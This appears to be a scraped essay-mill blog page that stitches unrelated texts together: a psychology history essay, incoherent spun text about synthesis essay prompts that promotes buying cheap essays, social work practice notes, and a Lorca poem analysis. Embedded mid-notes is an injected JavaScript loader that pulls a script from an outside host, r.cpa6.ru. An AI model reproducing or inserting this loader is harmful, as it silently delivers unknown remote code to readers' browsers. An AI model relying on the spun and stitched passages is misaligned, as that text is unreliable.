Tuesday, December 24, 2019

Social And Cultural Context Of Psychology - 818 Words

Katja Gavrilina Define the term Psychology and discuss its history in light of social and cultural context, highlighting the significance of different perspectives in Psychology. Psychology is defined as the scientific study of mental processes and human behaviour. It had roots in philosophy and physiology, before becoming an independent scientific discipline in the late 1800 s. Descartes (1641) suggested that the mind and the body work separately, together creating the human experience (Mastin L. 2008). This idea of so called dualism shaped a number of on going discussions in modern psychology, such as the nature nurture debate. In 1879 the first experimental laboratory was founded by Wilhelm Wundt, in Leipzig, Germany. This fundamental moment is referred to as the birth of Psychology. Until the 1900 s psychologists mainly studied the conscious human experience. Sigmund Freud, Austrian physician, caused a ground-breaking shift in this field (1890 s - 1930 s). He brought special importance to the unconscious mind, arguing that early childhood experiences and unconscious urges shape our adult personality. He emphasized the importance of sex and stages of early development. Contributing psychoanalysis in the 20th century, Freud had an enormous impact on the field of Psychology. His theory is unscientific and based on his individual cases, which makes it hard to generalize his assumptions. Freud s work was also criticized by feminist Karen Horney,Show MoreRelatedMulticultural Psychology Paper1094 Words   |  5 PagesMulticultural Psychology Paper Multicultural Psychology Paper Multicultural psychology is the systematic study of all aspects of human behavior as it occurs in settings where people of different cultural backgrounds encounter each other. Multiculturalism has been considered a fourth force in the field of psychology, supplementing behaviorism, psychodynamic theories, and humanistic psychology. It explores such topics as differences in worldviews and in means of communication; the acculturationRead MoreThe Impact Of Culture On Mental Health Essay1673 Words   |  7 PagesIntroduction The importance of a cross-cultural understanding in Psychology is imperative to successful care and assistance of mental health. Understanding and acknowledging the complexities of different cultures is the beginning of a more informed approach to mental health. Cultural factors and questions play a fundamental role, however, simply acknowledging cultural differences does not necessarily provide the best individual help. Thus, a combination of cultural, demographic and individual factorsRead MoreSocial Psychology: Characteristics, Motives, and Situationism1494 Words   |  6 PagesSocial Psychology: Characteristics, Motives, and Situationism PSYCH/550 May 27, 2013 Social Psychology: Characteristics, Motives, and Situationism According to Fiske (2010), the classic definition of social psychology is, â€Å"the scientific attempt to explain how the thoughts, feelings, and behaviors of individuals are influenced by the actual, imagined, or implied presence of other human beings† [ (p. 4) ]. In other words, where general psychology is the study of human behavior on an individualRead MoreThe Strengths and Weaknesses of the Sociocultural Perspective986 Words   |  4 PagesPsychology is one of the newest sciences. Because it is the science of the mind and behavior, it is also less concrete than some of the other sciences. Over the years, social scientists have developed theories or perspectives based off of their observations, research, and the perspectives of other scientists. Although there is some overlap, each of the major perspectives of psychology is unique. As a result, they each have strengths and weaknesses and explain psychology in a different way. OneRead MoreThe Macrosystem: From Chil d to Adult Essay1384 Words   |  6 Pagesculture, and ecological system. Mental health and community counselors should keep in mind the complex, reciprocal interactions that characterize personal behavior in situations. Macrosystem: Describes the culture in which individuals live. Cultural contexts include developing and industrialized countries, socioeconomic status, poverty, and ethnicity. There have been a number of theories surveyed that are foundational to the profession of mental health counseling. The foundational areas are theRead MoreThe Purpose of Cross-Cultural Psychology1100 Words   |  4 PagesCross-cultural psychology Cultural psychology concerns itself with the significant links or connections that there are between the psychology of individuals within a culture and their psychology. Cultural psychology emphasizes on the relevance of human behavior to understanding the psychology of the individual if only the sociocultural setting and context in which the behavior occurs. One good instance of this is the way religious views about extramarital activities shapes the behavior and the attitudesRead MoreSocial Constructionism, Identity and the Concept of Deviance Essay1409 Words   |  6 PagesSocial Constructionism, Identity and the Concept of Deviance Social constructionist use the term social construction to imply that our understanding of the world in which we live is constructed from the social interactions we have on a daily basis. In reference to identity, social constructionist theory (SCT) proposes that we as social beings actively construct our identities using social tools as the means in which to construct our identities, the foremost one being language. This particularRead MoreI Support Dewey s Approach At The Policy Making Level832 Words   |  4 PagesAs a student in educational psychology, I support Dewey’s approach at the policy making level regarding the educational purpose and its role in creating well-being individuals in the world. The idea that the education should be effective in preparing students to participate as active citizens in a democratic society seems big and need lots of work, time and efforts to have it achieved. He believed that the democratic movement in education was necessary for creating an equitable system of human libertiesRead MoreLegal Issues Associated By Clinical Psychology Essay1352 Words   |  6 PagesLegal issues associated in clinical psychology In clinical psychology, several legal issues do exist, and clinical psychologists must adhere to such legal standards. Two common legal issues are maintaining confidentiality and obtaining written informed consent. In regard to the maintenance of confidentiality, the clinical psychologists must never disclose the records of any patient or client unless required by law. This is a significant concern in clinical psychology, which the psychologist is boundRead MorePsychology and the Nature of Humanity1227 Words   |  5 PagesIntroduction. The American Psychologist Association (APA) defines psychology as ‘the study of the mind and behaviour . The discipline embraces all aspects of the human experience — from the functions of the brain to the actions of nations, from child development to care for the aged. ‘(Association, 2014). With such an extensive definition, it is not overly surprising that its scientific kudos has been used to propagate political dogma, including abominable beliefs such as the innate inferiority

Monday, December 16, 2019

Synthesis Essay Prompt Samples Features

Synthesis Essay Prompt Samples Features When you've written your outline, the next thing to do is to get to the true writing. Once you are finished, set the paper away for two or three hours or, even better, a complete moment. Such paper tends to get different sections. Prompt consists of an article that you've got to synthesize. Write a last thesis statement Make sure your thesis statement is pertinent to the major body. Your essay order will be contingent on few points that are quite critical for the success. There isn't enough information to create a last choice. A complete topic for a synthesis paper is one which encourages you to have a stance on a debatable iss ue. Still, you've got to appear at the suggested theme from other perspectives so as to formulate your distinctive and intriguing viewpoint. Please, double check the info you gather to create your paper strong. Make certain you have read all your sources. Many of your sources will most likely have informat ion that could support either side of an argument. The sources that you select shouldn't necessarily prove your standpoint. Most Noticeable Synthesis Essay Prompt Samples A synthesis essay is the sort of paper where you have to synthesize various writing techniques. If you're writing a background synthesis, in some instances it could be appropriate that you offer you an interpretation of the material or have a position (thesis). It's almost not possible to produce your synthesis paper outline in case you don't know the prerequisites of the undertaking. Therefore, a synthesis paper outline will assist you in avoiding errors like having weak thesis statement which doesn't explicitly state your claim. What to Do About Synthesis Essay Prompt Samples Before It Is Too Late What you will need is a topic that has a lot of sources that could support more than 1 position. Once you work through your sources, make a decision as to what position you're likely to take. The only thing yo u ought to do is pick three or four sources to be able to argue the topic. You're able to make short annotations and take notes so as to summarize the principal ideas of the chosen sources. You must have few sources to produce your paper reliable and convincing. By now you've got a couple sources that are associated with your prompt. When it is all about figuring out how to compose an AP English synthesis essay, it's important to open the official AP website with the present requirements and study the grading rubric to comprehend what things to concentrate on. To do that you always have the option to ask about topics which were picked already. Students lead busy lives and frequently forget about a coming deadline. Therefore, many students and employees decide to get cheap essay rather than writing it themselves. A significant question needs a significant answer. The most significant thing you should pay attention to is the thesis statement. Regardless, keep in mind that you're arguing so presenting information supporting only a single side isn't s ufficient enough! Now that you know what a terrible topic appears like, it's time to chat about what a great topic resembles. Only after picking several texts are you going to begin a comprehensive reading. On one hand, it's simpler to compose a paper when you are able to utilize different authors data. Writing can be less difficult than you believe. In doing this you'll have a simple time once it comes to writing a whole paper! Why Almost Everything You've Learned About Synthesis Essay Prompt Samples Is Wrong It is not sufficient to offer an overview of each observed text. Format is dependent on what format is needed by your teacher or professor. Many times, it includes a text you should analyze. Based on your assignment, you may have to select a key text. The Argument About Synthesis Essay Prompt Samples Let's take a good look at every component of a synthesis essay. In summary, to learn to compose a great synthesis essay, a student should discover more regarding the area of research. The 5-Minute Rule for Synthesis Essay Prompt Samples Keep in mind it's important to choose the synthesis essay type. The secret to all types of synthesis is the exact same. Thus, a synthesis is the kind of essay which offers you as the student several resources to utilize in building a strong claim. The term synthesis is understood to be a mixture of elements to form a connected whole.

Sunday, December 8, 2019

Base Of Social Work Essay Research Paper free essay sample

Base Of Social Work Essay, Research Paper Knowledge Base of Social Work: Practice methods that correspond to the degrees of Practice are: 1. Micro degree of practice- direct practice/service delivered straight to clients ( face to face and minimum administrative work. 2. Mezzo degree of practice- indirect pattern affecting administration/leadership functions enabling effectual bringing of services. ? Policy preparation ? Program design ? Funding ? Management ? Supervision ? Organizational and Public Relations ? Community Education ? Monitoring for Improvement of Productivity 3. Macro degree of practice- involves the procedures of Social Planning and Community Organization ? Professional Change Agents who assist Comm. Action Systems composed of persons, groups or Organizations deal with societal jobs ? Program planning and development, working with governmental agents and Comm. ? Execution of Programs 4. Research- drive force behind strict promotion of cognition Doctrine of Direct Practice 1. Peoples are capable of doing their ain alteration ; they have free will 2. Assist people maximize their possible and independency 3. Change environmental influences that adversely impact clients 4. Increase understanding that behaviour is purposive and end directed and this is non readily discernable. 5. Peoples are capable of larning new behaviours 6. Most troubles can be resolved by concentrating on present picks and mobilising their strengths 7. Increasing people # 8217 ; s cognition and larning new accomplishments produces self growing in the procedure 8. Use schemes that motivate people to implement alterations in assorted types of systems 9. Life # 8217 ; s crises represent chances for growing and command is a beginning of strain in life 10. Peoples need self-affirmation and self-pride. Many struggles are indirect look of feelings of low self-pride. 11. Human growing occurs in the context of relationships with other people 12. We model for others unfastened reliable relationship skills/behaviors 13. Increase reactivity to the demands of others 14. Populate in the world of the present motivates people to exert their potencies more to the full 15. Means of helping clients should safeguard self-respect, self-esteem, self-government and confidentiality 16. Awareness of ego is the first measure to self-fulfillment 17. Peoples right to their ain values and belief systems are intact. It is societal work # 8217 ; s duties to help clients to confront these facets of those beliefs that cause disfunction in their lives. The Helping Procedure Phase I: 1. Establishing resonance 2. Exploring client # 8217 ; s jobs 3. Explicating multidimensional appraisal of the job, systems involved and resources available 4. Enhancing motive of client 5. Mutually negotiating ends and explicating a contract Phase II: -The participants combine their attempts in working towards the ends, dwelling of distinct actions or undertakings that are built-in units of the overall end -Practitioners has the duty of choosing and implementing intercessions that will help clients in carry throughing their ends and undertaking. -Interventions should straight associate to the jobs and to the consequent ends that were negotiated and that were derived from accurate appraisal. -Monitor betterment on regular footing -Use of ego in procedure suitably provides for clients a theoretical account of unfastened an reliable relationship Phase III: 1. Buttocks when persons and group ends have been attained and plan expiration consequently 2. Effecting successful expiration of the assisting relationship 3. Planing for care of alteration and continued growing following expiration 4. Measuring the consequences of the aid in procedure The Cardinal Values of Social Work 1. Developing and utilizing resources 2. Confirming the worth and self-respect of clients 3. Confirming uniqueness and individualism 4. Confirming problem-solving capacities and self-government 5. Safeguarding confidentiality Measuring Group Process 1. A Systems Framework for Measuring Groups- groups are societal systems and therefore germinate inexplicit regulations or norms that govern behavi9ors, form forms, and modulate internal operations. ? As leaders observe groups to spot patterned behaviours, they must at the same time go to to behavior manifested by persons and by the group itself. ? A major functions of leaders in growing groups, is to help members to go cognizant of their patterned behavioural responses, to find the impact of these responses on themselves and others and to take whether to alter such responses. ? Understand Content ( verbal statements ) and Process ( the behaviours displayed by members during the group ) ? Identify functions of group members because they can impact the group # 8217 ; s capacity to react to the single demands of members and its ability to carry through curative aims. ? Members tend to play-out in groups the same functions that they assume in other societal contexts and demand to understand the impact of dysfunctional functions on themselves and others. ? Identify the growing of persons by maintaining a record on each individual to place growing. ? Appraisal must see the cultural background of members ? Assess cognitive forms of the group members Phases of Group Development 1. Preaffiliation-Approach and Avoidance Behavior displayed as probationary engagement, hovering willingness to presume duty, interact with others, and to back up plan activities and events. 2. Power and Control-A Time of Transition into intimate system of relationships ; whereby the new state of affairs becomes apprehensible and predictable. They struggle at this phase concerned with how they rank in relation to other members. Conflicts between opposing subgroups frequently occur in this phase. 3. Intimacy-Developing a Familial Frame of Reference for the group means they see a we-ness and committedness to the group intent. A group character will germinate with a manner and a set of values. 4. Differentiation- Developing Group Identity and an Internal Frame of Reference for the group means they have achieved group-centered operations and single and group demands evolve. Greater freedom of personal look develops with feelings of echt credence and value. 5. Separation- A Time of Breaking Away means for the group a clip of loosening intense bonds and a hunt for new resources and ties to fulfill demands. Patterned Group Behavior ( positive behaviours manifested early on in groups ) ? The group faces up to a job and makes alteration or accommodation ? The group responds positively the first clip a member takes a hazard ? Members of the group are invested and supportive toward other members ? The group moves in + way without the leader # 8217 ; s counsel or intercession ? The group works harmoniously for a period of clip ? Members efficaciously make a determination together ? Members adhere to a specific group goal/work to carry through ? Members give + feedback or detect + ways the group has worked together ? The group responsibly confronts a member who is ruling interaction or interfering with the undertaking ? Members pitch in to clean up after a group session Social Conflict Approach with Clients Under Duress -The challenge of the practician is to minimise or cut down the reactance by reacting in ways that lessen the client # 8217 ; s perceived menace to freedom. Reacting in unexpected ways that cut down menace. These unexpected ways of response convey the feeling of wanting to be an ally instead than an antagonist. 1. Stress picks that are available 2. Contracts in ways aimed at reconstructing freedom 3. Stephen fosters care of some current behaviours to minimise clients # 8217 ; frights of losingss 4. Focuss on limited and specific alterations instead than on planetary and sweeping alterations that would be endangering and unacceptable. 5. Maximizes self-government within parametric quantities determined by the state of affairs Crisis Intervention / gt ; 1. Is clip limited 2. Focuss on jobs of populating instead than abnormal psychology 3. Oriented to the here and now 4. Involves a high degree of activity by the practician 5. Employs undertakings as a primary maneuver of alteration attempts 6. An eclectic model that can suit assorted pattern theories and intercessions Initial Phase of CI 1. To alleviate the client # 8217 ; s emotional hurt 2. To finish an appraisal 3. Plan the scheme of intercession Empowering Peoples with AIDS *Patrick Haney left behind a bequest of guidelines for authorising people with AIDS. 1. Modify their mentality that they are non a victim, merely people with AIDS. A perceptual experience of being a victim Fosters passiveness and a sense of weakness. 2. Focus more on chances for doing the most of a bad state of affairs and less on the fatalistic facets of the disease. 3. Help them to happen people who can supply them with support and they themselves must be caring and supportive. Cognitive Restructuring ( Cognitive Therapy ) ? Most societal and behavioural disfunction consequences straight from misconceptions that people hold about themselves, other people, and assorted life state of affairss. ? Cognitive restructuring is a systematic intercession that is peculiarly utile in helping clients to derive consciousness of dysfunctional and self-defeating ideas and misconceptions that impair personal operation and to replace them with beliefs and behaviours that are aligned with world and lead to heighten operation. ? CT techniques are relevant for jobs associated with low self-prides, distorted perceptual experiences in interpersonal dealingss, unrealistic outlooks of ego, others, and life in general, irrational frights, anxiousness and depression, unequal control of choler and other urges, and deficiency of assertiveness. ? CT is frequently blended with other intercessions ( patterning, behavioural, relaxation, assertiveness, and drug therapy ) because combination of theories is more effectual than individual intercessions. ? Caution: Dysfunction may be caused by a assortment of biophysical jobs, including encephalon and neurological upsets, thyroid instability, blood sugar instability, consumption of toxic substances, malnutrition and other signifiers of chemical instability of the organic structure. Stairss in Cognitive Restructuring 1. Assist clients to accept that their self-statements, premises and beliefs mostly mediate their emotional reactions to life # 8217 ; s events 2. Assist clients to place dysfunctional beliefs and forms of ideas that underlie their jobs ? Ask them how they reached certain decisions ? Challenging them to show grounds back uping dysfunctional positions or beliefs ? Challenging the logic of beliefs that magnify feared effects of certain actions -By deriving pattern in placing and measuring the cogency of self-statements and beliefs, clients achieve preparedness to prosecute in self-monitoring between Sessionss. Self-monitoring expands self-awareness and paves the manner for subsequently get bying attempts. 3. Assist Clients to place state of affairss that engender dysfunctional knowledges. 4. Assist clients to replace functional self-statements in topographic point of self-defeating knowledges. 5. Assist clients to honor themselves for successful header attempts. -Limitations of CT: Often the clients lack societal accomplishments and necessitate direction and pattern before they can efficaciously execute new behaviours. CT is frequently used in combination with practician mold, behavioural dry run, and guided pattern to help clients to get the hang indispensable accomplishments needed. Troubles in Trusting and Transference ? Aloofness and intuition are defensive forms that protect clients from imagined injuries, development, rejection, unfavorable judgment, penalty, and control by others. ? Trying to carry clients of one # 8217 ; s purpose is normally counterproductive, alternatively exercising forbearance and continuity. ? Attempt to make clients who cancel or miss assignments by phone or home-call ( missive is less effectual ) . Acknowledge that their failure to maintain assignments is more a form of turning away than a deficiency of motive. ? Transference Chemical reaction: the client transportations to the practician wants, frights, and other feelings that are rooted in the past experiences with others hindering the procedure. ? Transference Reactions involve over generalised and deformed perceptual experiences that create troubles in interpersonal relationships. ? Its besides an chance for growing. The challenge is to help such clients to acknowledge their deformed perceptual experiences and to develop finer interpersonal perceptual favoritisms so that they can distinguish and cover with others as alone persons instead than overgeneralise projections of images, beliefs, or attitudes. Pull offing Transference Chemical reactions -It is critical to switch concentrate to their here-and-now feelings. 1. Be unfastened to the possibility that the client # 8217 ; s reaction is non unrealistic and by be produced by your behaviour and respond genuinely by having duty for your behaviour. 2. It is of import to react in different ways that the client # 8217 ; s awaited response from their past interactions. This forces the client to distinguish the practician from past figures. 3. Help the client to find the immediate beginning of deformed perceptual experiences when the feelings emerge. By researching these feelings and non rectifying them you assist the client to spread out their consciousness of their forms of overgeneralising. 4. After clients have discerned the unrealistic nature of their feelings and manifested consciousness of the deformations portion your existent feelings. This can reassure clients who have felt offended, hurt, resentful, rejected or the similar. 5. After you have examined the debatable feelings, assist clients to find whether they have experienced similar reactions in other relationships. To help clients to spot forms of deformations that creates troubles in other relationships. Countertransference Chemical reactions -It green goodss distorted perceptual experiences, blind musca volitanss, wants, and antitherapeutic emotional reactions and behaviour. Such as: ? Deviating clients from showing choler because healer is uncomfortable ? Overidentifying with rebellious striplings due to unsolved feelings towards autocratic parents -Becoming aware of unrealistic feelings toward a client or of reactions are signals that a practician should instantly take appropriate disciplinary steps. Otherwise the countertransference will restrict the practician # 8217 ; s possible helpfulness or contribute to the client # 8217 ; s disfunction. -The first measure in deciding countertransference is to prosecute in self-contemplation ( analytical duologue with oneself aimed at find ) -The 2nd measure if 1st doesn # 8217 ; t work is to discourse it with a co-worker or another professional for difference position. -Not all negative feelings or reactions are due to countertransference. Look beyond the violative qualities of certain clients and discover positive qualities. Efficaciously Pull offing Sexual Attraction ? Take disciplinary steps such as self-contemplation or confer withing with another professional. Pull offing Resistance -Rule of pollex: If opposition International Relations and Security Network # 8217 ; t strong plenty to hinder advancement, its best ignored. 1. Bring it to discussion by concentrating on the here-and-now feelings that underlie opposition. ? An reliable response that conveys the practician # 8217 ; s good will and concern besides reaffirms the helpful purpose and desire to work on troubles. ? Initiate geographic expedition of the beginning of opposition ? Accredit their strengths when they discuss the feelings, to kill the feared response and reenforce the client for unwraping hazardous feelings 2. Use Positive Intensions to assist clients acknowledge the positive and negative sides of opposition. ? The end is to minimise the client # 8217 ; s needs to support themselves and to safeguard their already unstable self-prides. It is of import to assist clients acknowledge that their indecent reactions derived from deformed perceptual experiences and to promote them to show their feelings straight in the hereafter. 3. Redefine Problems as an chance for Growth 4. Confront forms of opposition. 5. Use Curative Binds-Confronting clients in a manner that they either have to alter or ain duty for taking to perpetuate their troubles. Use to help non move out defeat. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Sunday, December 1, 2019

Literary Analysis

Introduction Frederico Garcia Lorca’s â€Å"romance de la pena negra† was published alongside various similar poems in the book entitled â€Å"Romancero Gitano† or commonly known as the Gypsy Ballads. The poems therein focused on the character of the gypsy which acted as a representation of the instincts and passions unbridled by the trappings of morality, society, cultural training and distinction[1].Advertising We will write a custom essay sample on Literary Analysis specifically for you for only $16.05 $11/page Learn More This particular distinction accorded to gypsies is not unique to Lorca but rather can be seen in other famous work such as The Hunch Back of Notre-Dame by Victor Hugo where the female character Esmeralda is represented as being outside the normal trappings of society, being the embodiment of passion and freedom. Another similarity between the two works can be seen in Lorca’s representation within the vario us poems of the supposed â€Å"omnipresence of sexual instincts† (Edkins 238 – 239) which are always threatened by repression yet break free nonetheless often times leading to a sudden and climactic death. As you may recall, the character of Esmeralda also died towards the end of the novel. This is indicative of a style that shows how the release of unbridled passion is usually looked down upon by society and is met by an ignominious and sudden unfortunate ending in most cases[2]. While the poem â€Å"romance de la pena negra† does not end in the death of the character it does appear to end negatively. As such, based on the comparison of the works of Lorca with other similar kinds of literature using the same type of literary pattern this paper will attempt to examine whether freedom and passion for Lorca, despite the overtly sexual content of his work, are aspects which should be controlled lest they result in an ignominious end. Examination of Ballad Structure and use of Dramatic Imagery This particular work of Lorca utilizes an 8 syllable line rhyming structure prevalent to many poems produced in that era. Due to the simplicity of the structure the poem is easy to read and as such the dramatic imagery that it imparts becomes that much more impressive. The one criticism I have of various poetry styles that attempt to use dramatic imagery is that at times they use overly complicated structures or monosyllabic structures which are hard to understand or comprehend immediately. For example the poem â€Å"The Red Wheelbarrow† is considered to be the masterpiece of 20th century writer William Carlos Williams, supposedly written in five minutes when he was caring for a sick child that eventually died[3].Advertising Looking for essay on literature languages? Let's see if we can help you! Get your first paper with 15% OFF Learn More In this case instead of the various lines being measured by syllables they are instead measur ed by words with each stanza in the poem having three words with a single line coming after that with just a single word[4]. Though this particular type of poem is attempting invoke a type of dramatic imagery through simplicity its overall style is so far from the norm that most people find it hard to comprehend the meaning of the poem let alone see any form of imagery resulting from it. On the other hand the styles utilized by Larco are far more reminiscent of traditional poetry styles and thus can easily be interpreted and understood. This in itself could be considered an intentional aspect of the poem done by Larco in order for the imagery he was trying to portray to appear more easily. Invoked Imagery Repeated reading of the poem invokes two distinct forms of imagery to describe Soledad Montoya, the first taking the form of a river flowing down a mountain, the second being the imagery of a woman traversing the mountain steppes with her clothes undone and her hair all around her face. When researching the words â€Å"Soledad Montayo† nothing truly definite came about that accurately describe who or what it was. The reasoning behind its usage can thus be attributed to artistic license where the author wanted it to mean something for a specific reason with which many interpretations can be derived. First Imagery: The Raging Mountain Stream While this particular interpretation of the imagery invoked by the poem is far from traditional interpretations the fact remains that if an individual were to try to interpret the poem from a literal context many would assume that the few beginning stanzas were describing a river. For example the lines â€Å"down the dark mountain comes Soledad Montoya† (Edkins 238 – 239), if placed in the context of a geographic location most people would think it refers to a river. This interpretation is further justified by the succeeding lines â€Å"Yellow copper, her flesh, smells of horses and dusk† (Edkins 238 – 239), it is a well known practice in various agricultural parts of Spain to take horses out in order to let them drink from the river. Since it takes a while for the water to flow down a mountain the water that drips down from the time of dusk reaches the horses by the time of dawn. The yellow color is attributed to the light of the sun striking the water’s surface giving it a slight golden sheen. This final line from the poem solidifies this line of reasoning â€Å"Soledad of my sorrows, a stampeding horse ends up in the sea and is swallowed by the waves† (Edkins 238 – 239). One well known fact is that all rivers inexorably flow from mountains to the sea, the flow of water increases depending on the breadth and depths of the water making it seem at times like the stampeding hooves of horses.Advertising We will write a custom essay sample on Literary Analysis specifically for you for only $16.05 $11/page Learn More Whi le this interpretation is largely literal it does make quite a bit of sense when compared to stanzas used to show the correlation between the poem and the river. The use of personification in various parts of the poem could be interpreted as the river speaking, an occurrence that is not unique in the realm of poetry where the use of personification has been attributed to far stranger objects. Second Imagery: Woman traversing the mountain steppes on her way home The second and most widely accepted imagery attributed to the poem â€Å"romance de la pena negra† is that of a mountain girl in Spain coming down from the mountains with a disheveled appearance who had tried to look for her forsaken lover. An attempt to translate the words â€Å"Soledad Montoya† using Google Translate shows that the word â€Å"Soledad† could be interpreted as â€Å"solitude†, to contextualize this word to better fit the poem the translation would be â€Å"lonely Montoya†. B ased on this it can be assumed that the character of Soledad Montoya is someone that is lonely. The gender is defined from the following line: â€Å"smoky anvils, her breasts wail rounded songs, braids trailing the ground, my body and clothes, my linen camisoles† (Edkins 238 – 239). The use of breasts, braids and linen camisoles is indicative of the physical traits seen in women and unlikely to be utilized by men as such the character in poem can be described as a lonely woman when adapting the use of the word â€Å"Soledad† to indicate loneliness. Another factor to take into consideration is the title of the poem itself â€Å"romance de la pena negra†, a literal translation of this results in the phrase â€Å"ballad of the black grief†. When taking the title of the poem into consideration and the interpretation of the word â€Å"Soledad† to mean loneliness the resulting characterization is that of a lonely woman that is grieving. To this en d it must then be asked what the woman is grieving about, the following lines shed light on answering this particular question: â€Å"do not remind me of the sea, for the black grief is born under the rustling of the leaves in the lands of the olive tree† (Edkins 238 – 239). Three particular details must be noted here, for one the poem obviously takes place in the setting of a mountainous region, secondly the character specifically mentions the sea as the source of her grief and finally the phrase â€Å"lands of the olive tree† (Edkins 238 – 239) indicates a place far away.Advertising Looking for essay on literature languages? Let's see if we can help you! Get your first paper with 15% OFF Learn More One assumption that seems the most likely is that the origin of her grief is someone who left on a ship on the sea to go to the land of olive trees. An examination of various literary contexts specifically mentioning the phrase â€Å"the land of the olive trees† indicates the area to either be in Italy or somewhere near Greece or the Mediterranean. Since the setting of this poem is assumed to be in Spain this indicates that that the lover of Soledad went away to the land of olive trees. Thus the plot of the poem becomes obvious, the character â€Å"Soledad Montoya† is walking through a mountainous region after seeing her lover leave on a ship on the way to the land of olive trees. Her loss creates loneliness and sorrow emphasized by the lines â€Å"what a pitiful grief, you weep drops of lemon, bitter lips, sour with waiting, how heavy is my grief† (Edkins 238 – 239). Interpreting the Context of the Second Imagery Earlier it was stated that within the var ious poems in â€Å"Romancero Gitano† there existed the supposed â€Å"omnipresence of sexual instincts† (Edkins 238 – 239) which are always threatened by repression yet break free nonetheless often times leading to a sudden and climactic death. The character of the gypsy acted as a representation of the instincts and passions unbridled by the trappings of morality, society, cultural training and distinction which is an ever present aspect of the various poems thus it can be assumed that such aspects also exist within â€Å"romance de la pena negra† as well. As mentioned earlier the work of Lorca tended to focus a lot on freedom and unbridled sexual instincts however in several poems the result of such exuberance has always ended in sorrow. The same can be said of the situation in â€Å"romance de la pena negra†, the character of Soledad Montayo can thus be assumed to be the personification of the sexual qualities Lorca liked to imbue in his poems[ 5]. Stanzas such as â€Å"yellow copper, her flesh smells of horses and dusk, smoky anvils, her breasts† seems to bring forth the imagery of a truly spectacularly beautiful woman who embodied the freedom and sensuality associated with gypsies. In the poem itself there are actually two voices, that of Soledad and another that asks her who she seeks and tells her to clean her body, as such it can be assumed that this individual is a parent possibly the mother of the character herself. As such in this poem we are privy to the scene of a mother comforting her daughter after she had lost her love. Another interpretation of the poem using the same context can be that Soledad Montayo was taken advantage of with the word Solidad taking on the meaning of â€Å"sorrow† instead of loneliness. For example these are several curious lines in the poem that need to be examined more closely: â€Å"tormenting pain! turning jet black, my body and clothes, my linen camisoles! my thighs o f red poppy!† (Edkins 238 – 239). While emotions associated to grief can cause pain the next set of words â€Å"turning jet black† add a rather curious detail to the poem. While it can be assumed that the term â€Å"turning jet black† could be assumed as her heart turning black as is seen in numerous poems about lost love there is no specific mention of the heart itself. Rather turning jet black could be associated with apparent injuries that are turning jet black which are causing her pain. What must be understood is that Lorca enjoyed adding overtly sexual references to much of his work and as such it would not be surprising to see an aspect of that reflected in this poem[6]. The tormenting pain, the injuries turning jet black and a specific reference to her thighs being red could be indicators of an apparent sexual assault. Many version attempting to interpret the poem of Lorca always seem to depict Soledad Montoya in rags, another interpretation could be that her dress was ripped as a result of being assaulted. In keeping with the ignominious end several gypsies in the poems of Lorca met, in this instance it could be that Soledad Montoya was with her love who was headed to the land of olives yet refused to give herself to him, as a result he overpowered her, raped her and left. This would explain why the parent in the concluding stanzas of the poem told Soledad to clean her body. As such this shows how Soledad Montayo who embodied the freedom and passion of the gypsies found herself reaching a bad conclusion as a result of her passions. On the other hand another interpretation of a less sexually charged nature can state that her loss was merely that of losing her love. An examination of the life of Lorca at the time of this poem’s creation showed that at the time he was passionately involved with Salvador Dali yet they could not go public with their relationship due to the inherent problems with the views on homosexual beh avior at the time. As such the message of the poems which indicate that passions and freedoms should be controlled lest that person meets an ignominious end could be a reflection of the thoughts of Lorca at the time who could not let knowledge of his relationship and his apparent homosexuality go public due to the social ostracization that would follow[7]. Conclusion Based on historical revelations on the hidden life of Lorca it can be seen that the messages in some of the poems in which love and passion allowed to reign free met ignominious ends was the result of Lorca’s own reasoning that he should not reveal who he was to the public[8]. His poems acted as a reflection of this own thought process similar to what Oscar Wilde accomplished in his literary masterpiece â€Å"The Picture of Dorian Gray† where the characters of Lord Henry Wotton, Dorian Gray and Basil Halward all acted as reflections of the author’s own persona. In the case of Romancero Gitano the po ems contained therein could be considered more of an interpretation of the author’s thought processes and logical thinking rather than a true reflection of personality. References Edkins, Anthony. â€Å"Gypsy Ballads (‘Romancero gitano’).† Modern Language Review 87, no. 1 (January 1992): 238-239. Academic Search Premier, EBSCOhost . Gatto, K, ‘Federico Garcà ­a Lorca’, Critical Survey of Poetry, Second Revised Edition, 2003, pp. 1-6, Literary Reference Center, EBSCOhost. Greenfield, Sumner M. â€Å"Garcà ­a Lorca, Federico.† Columbia Dictionary of Modern European Literature (February 1980): 285-286. Literary Reference Center, EBSCOhost . â€Å"The Book of the Dead Man (The Red Wheelbarrow).† Boulevard. 109-110. OpoJaz, Inc., 2010. Footnotes Edkins, Anthony. â€Å"Gypsy Ballads (‘Romancero gitano’).† Modern Language Review 87, no. 1 (January 1992): 238-239. Academic Search Premier, EBSCOhost . Ibid â€Å"Th e Book of the Dead Man (The Red Wheelbarrow).† Boulevard. 109-110. OpoJaz, Inc., 2010. Ibid Gatto, K, ‘Federico Garcà ­a Lorca’, Critical Survey of Poetry, Second Revised Edition, 2003, pp. 1-6, Literary Reference Center, EBSCOhost. Gatto, K, ‘Federico Garcà ­a Lorca’, Critical Survey of Poetry, Second Revised Edition, 2003, pp. 1-6, Literary Reference Center, EBSCOhost. Greenfield, Sumner M. â€Å"Garcà ­a Lorca, Federico.† Columbia Dictionary of Modern European Literature (February 1980): 285-286. Literary Reference Center, EBSCOhost . Ibid This essay on Literary Analysis was written and submitted by user Averie J. to help you with your own studies. You are free to use it for research and reference purposes in order to write your own paper; however, you must cite it accordingly. You can donate your paper here.